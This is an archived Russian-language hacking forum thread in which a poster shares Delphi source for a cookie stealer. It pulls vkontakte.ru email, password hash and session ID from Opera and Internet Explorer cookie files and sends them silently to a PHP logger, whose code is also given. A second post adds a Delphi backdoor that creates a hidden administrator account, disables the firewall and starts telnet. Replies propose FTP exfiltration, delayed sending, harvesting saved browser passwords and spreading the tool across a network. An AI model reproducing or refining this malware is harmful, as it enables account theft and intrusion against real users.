Просмотр полной версии : Сливаем Hash от vkontakte.ru[Delphi+php]
Вот написал меленькую программку для пользователей своей сети, может кому будет интерсено
program killall;
{$APPTYPE CONSOLE}
uses
SysUtils,windows,ShellAPI;
//-----------Ïîëó÷åìå ëîãèí òåêóøåãî ïîëüçîâàòåëÿ--------------------------------
function GetUserFromWindows: string;
var
UserName : string;
UserNameLen : Dword;
begin
UserNameLen := 255;
SetLength(userName, UserNameLen);
if GetUserName(PChar(UserName), UserNameLen) then
Result := Copy(UserName,1,UserNameLen - 1)
else
Result := 'Unknown';
end;
//------------------------------------------------------------------------------
//-------------------Ïîëó÷àåì ñèñòåìíûé äèñê------------------------------------
function GetSystemDisk: string;
var
S: array[0..MAX_PATH] of Char;
begin
GetWindowsDirectory(S,SizeOf(S));
Result:=copy(S,0,1);
end;
//------------------------------------------------------------------------------
var
User,Disc,mail,hash,id,startdir:string;
coock,st,mask:string;
f:TextFile;
i:integer;
searchrec : tsearchrec;
Opera,IE: string;
begin
Disc:=GetSystemDisk;
User:=GetUserFromWindows;
Opera:= Disc+':\Documents and Settings\'+User+'\Application Data\Opera\Opera\profile\cookies4.dat';
if FileExists(Opera) then
begin
AssignFile(f,Opera);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
delete(coock,1,pos('remixemail',coock)+12);
mail:=copy(coock,0,pos(#18,coock)-1);
delete(coock,1,pos('remixpass',coock)+11);
hash:=copy(coock,0,pos(#18,coock)-1);
delete(coock,1,pos('remixsid',coock)+9);
id:=copy(coock,0,pos(#18,coock)-1);
ShellExecute(0, nil, PChar('http://xx.xx.x.xx/snif.php?t=opera&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
end;
startdir:=Disc+':\Documents and Settings\'+User+'\Cookies\';
mask := '*.*';
if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
begin
repeat
if pos('vkontakte',searchrec.name)<>0 then
begin
AssignFile(f,startdir+searchrec.name);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
delete(coock,1,pos('remixemail',coock)+9);
mail:=copy(coock,0,pos('vkon',coock)-1);
delete(coock,1,pos('remixpass',coock)+11);
hash:=copy(coock,0,pos('vkon',coock)-1);
delete(coock,1,pos('remixsid',coock)+9);
id:=copy(coock,0,pos('vkon',coock)-1);
ShellExecute(0, nil, PChar('http://xx.xx.x.xxx/snif.php?t=ie&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
end;
until findnext(searchrec) <> 0;
end;
end.
и код снифера(snif.php)
<?php
$fp=fopen("sn.html","a+t");
fputs($fp,"
Время: ".date("[D d/m/Y H:i]")."<br>
Мыло: ".$_GET['m']."<br>
Хэш: ".$_GET['h']."<br>
ID: ".$_GET['i']."<br>
Браузер: ".$_GET['t']."<br><br>
");
fclose($fp);
header("Location: http://google.ru");
?>
wildshaman
25.05.2009, 21:26
а, сорри, зачет
Тырит только от оперы - низачот(
Ну наверно надо посмотреть получше
странно, каменты кракозябрами
первый раз пишу на форуме ещё не разобрался что как
идея прикольная
в проге недаработки
1) открываешь файл и почемуто считываешь 500 строк (как я понял в делфи не селен) и там уже ишешь строку нужную... а если файл намного больше?
2) а если там нет кук вконтакта, тогда что? тогда она наверное вылетит с ошибкой или в лучшем случае пошлет пустые параметры.
3) для отправки ты как я смотрю используешь тупа выполнить... и параметры передаешь в GET запросе - а ведь GET запросы остаются в логах веб сервера... вывод POST и WINSOCK
кстати реализовать можно намного проще... архивировать куки и используя системную комманду ftp (фаер побреется...) скрытно передавать их на свой ftp... а потом тиха разбирать, я думаю кроме контакта найдутся еще куча кук на интересные сервисы. хотя это все рутина )) прогой анализировать круче хех
на основе данных можно сделать активный снифер кук. взял куки с харда зашел поменял пароль - ты насяльника
А я для пользователей своей сети использую. ARP spoofing + Wireshark.
Больше интересного вытащить можно)
Вот ещё интересная вещь, но старая
{ ************************************************** ********************* }
{ Delphi 7 }
{ JeDaSe ICQ:8673900 }
{ exec telnet & kill SharedAccess }
{ ************************************************** ********************* }
program PsevdoSHELL;
{$APPTYPE CONSOLE}
uses
SysUtils,windows;
var
Login,pass:string;
begin
Pass:='Hackers'; // Пароль пользователя(взломщика)
Login:='Hackers';// Логин
winexec(PChar('cmd.exe /c net user '+Login+' '+Pass+' /add'),sw_normal);//Добавляем пользователя
winexec(PChar('cmd.exe /c net localgroup "Администраторы" '+Login+' /add '),sw_normal);//Делаем его админом
winexec(PChar('cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v "'+Login+'" /t REG_DWORD /d 00000000'),sw_normal);
winexec(PChar('cmd.exe /c sc config wscsvc start= disabled'),sw_normal);
winexec(PChar('cmd.exe /c sc config SharedAccess start= disabled'),sw_normal); //останавливаеи брендмауер
winexec(PChar('cmd.exe /c sc config tlntsvr start= auto'),sw_normal);
winexec(PChar('cmd.exe /c sc stop wscsvc'),sw_normal);
winexec(PChar('cmd.exe /c sc stop SharedAccess '),sw_normal);
winexec(PChar('cmd.exe /c sc start tlntsvr '),sw_normal); //запускаем телнет
end.
отключает брендмауер и запускает телнет
а без этого bat файлом сложно ;) ?
Кстати код не идеален, сработает только на рус винде, и только если прогу запутил админ
root_sashok каменты крозяблами потому что тс копировал из делфи у мну тоже такое бывает :)
Seregakz
16.08.2009, 05:52
кто прогу может немного переделать?)) чтоб все куки оперы вставлялись в мемо расшифрованы %)
CloseFile забыл =)
Плюс, действительно считывать надо не 500 строк:
while not EOF(f) do
begin
Readln(f, st);
cook:=cook+st;
end;
А вообще - зачет. Надо будет раскидать по сети ))
Seregakz
16.08.2009, 21:34
CloseFile забыл =)
Плюс, действительно считывать надо не 500 строк:
while not EOF(f) do
begin
Readln(f, st);
cook:=cook+st;
end;
А вообще - зачет. Надо будет раскидать по сети ))
Если чисто весь файл в мемо кинуть то он не отображаетсо =// неподскажеш чтоб все куки грабились чё сделать?))))
Все отображается. Прекрасно. Можешь не в мемо кидать построчно, а Memo1.Lines.LoadFromFile, или же
var
str:TStrings;
begin
str:=TStringList.Create
str.LoadFromFile('filename');
...
str.Free;
end;
Seregakz
17.08.2009, 01:31
а моя не внимательность проблемы были с переменой)
токо вот чёт
while not EOF(f) do
begin
Readln(f, st);
cook:=cook+st;
end;
не грузит весь файл))
Seregakz, у переменных типа string, коей является cook имеется один небольшой недостаток (читай - твоя невнимательность) - ограничение по длинне. Именно поэтому я привел пример загрузки файла не построчно, а целиком в посте #14
Seregakz
17.08.2009, 04:05
ex3me, токо пример с 14-го поста не проканал =/
Делал так:
str:=TStringList.Create;
str.LoadFromFile(Opera);
memo1.Lines.AddStrings(str);
str.Free;
не подскажеш как разгребсти их в читабельный вид?))) а это это ппц всё вместе)
Seregakz
17.08.2009, 09:49
memo1.Lines.Assign
аналогично не пашет) простой файл грузит, а файл с куками нет)
str:=TStringList.Create;
str.LoadFromFile(Opera);
memo1.Lines.Assign(str);
str.Free;
ну дык нуль терминейт символы в файле есть
храни во времнном буфере, и открывай вот так файл
var FS: TFileStream;
buf: array of char; // временный буфер
begin
FS:=TFileStream.Create('path of file', fmOpenRead);
SetLength(buf, FS.size+1);
FS.Read(buf, FS.Size);
FS.Free;
while not EOF(f) do
begin
Readln(f, st);
cook:=cook+st;
end;
Блин не построчно (Readln), а посимвольно(Read) читать надо
ErrorNeo
18.08.2009, 01:07
чета афтар подзабил на ачат, а тема норм.
в исходный код можно добавить много вкусного, убрать {$APPTYPE CONSOLE}, сделать отправку пассов и куков не мгновенной, а отложенной..
так же можно найти у юзера сохраненные в самом браузере(мазиле+опере) пароли, которые, даже, не придется "ломать", т.к. они хранятся там в "восстановимом" виде (в мазиле - всегда, в опере - если специально не был задан мастер-пароль, что крайне маловероятно).
Много можно сделать интересного, любопытного и занятного:p было бы желание
Seregakz, у переменных типа string, коей является cook имеется один небольшой недостаток (читай - твоя невнимательность) - ограничение по длинне. Именно поэтому я привел пример загрузки файла не построчно, а целиком в посте #14
Насколько я знаю, то если в настройках проекта стоит галочка "Wide String", то ограничений на длину нету.
Seregakz
18.08.2009, 01:15
ну дык нуль терминейт символы в файле есть
храни во времнном буфере, и открывай вот так файл
var FS: TFileStream;
buf: array of char; // временный буфер
begin
FS:=TFileStream.Create('path of file', fmOpenRead);
SetLength(buf, FS.size+1);
FS.Read(buf, FS.Size);
FS.Free;
Блин не построчно (Readln), а посимвольно(Read) читать надо
Аналогично не пашет)) приведите плз рабочий код вывода куков в мемо)))
в мемо оно не будет корректно отображаца, ИБО есть нуль-терминайт символы в файле (#00)
если только читать файл посимвольно, и записывать только значимые символы, отсекая то что в МЕМО может некорректно отображаца
var
c: char;
data: string;
begin
AssignFile(f,'путь');
Reset(f);
while not eof (f) do begin
Read(f,c);
case c of
0..9,A..Z, a..z, #32: data:=data+c; // те символы которые тру отображаются
end;
end;
CloseFile(f);
Memo1.text:=data;
end;
Конечно, это жутко медленный и нубско-ламерский способ, но по крайней мере воркает =/
tecca555
18.08.2009, 12:13
автор как я знаю добивает проект,скоро выставит на общий смотр
Seregakz
18.08.2009, 16:25
в мемо оно не будет корректно отображаца, ИБО есть нуль-терминайт символы в файле (#00)
если только читать файл посимвольно, и записывать только значимые символы, отсекая то что в МЕМО может некорректно отображаца
var
c: char;
data: string;
begin
AssignFile(f,'путь');
Reset(f);
while not eof (f) do begin
Read(f,c);
case c of
0..9,A..Z, a..z, #32: data:=data+c; // те символы которые тру отображаются
end;
end;
CloseFile(f);
Memo1.text:=data;
end;
Конечно, это жутко медленный и нубско-ламерский способ, но по крайней мере воркает =/
Не воркает))))))))))))
Потому что вы никуя не умеете программить, а лишь компилите готовые куски кода, и ни в состоянии исправить элементарные ошибки.....
var
f: file of char;
c: char;
data: string;
begin
AssignFile(f,'путь');
Reset(f);
while not eof (f) do begin
Read(f,c);
case c of
'0'..'9','A'..'Z', 'a'..'z', #32, #9, ':': data:=data+c;
end;
end;
CloseFile(f);
Memo1.text:=data;
end;
Seregakz
18.08.2009, 18:34
Потому что вы никуя не умеете программить, а лишь компилите готовые куски кода, и ни в состоянии исправить элементарные ошибки.....
var
f: file of char;
c: char;
data: string;
begin
AssignFile(f,'путь');
Reset(f);
while not eof (f) do begin
Read(f,c);
case c of
'0'..'9','A'..'Z', 'a'..'z', #32, #9, ':': data:=data+c;
end;
end;
CloseFile(f);
Memo1.text:=data;
end;
)))))) я не про то что ошибка в коде была) я про то что он в мемо загрузит одну строчку и всё)) хотя сам файл кук мег весит))
Мне просто надо куки приводить в читабельный вид чтобы потом пост запросом отправить на сервер)
Seregakz, у меня все тру воркает, я хз че там у тебя
Seregakz
18.08.2009, 21:17
Seregakz, у меня все тру воркает, я хз че там у тебя
А мона както фильтрануть нул даннные с помощью StringReplace ?? пробовал #0 нефика(
Я так понял тырятся куки из Оперы и ИЕ? А как же огнелис?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot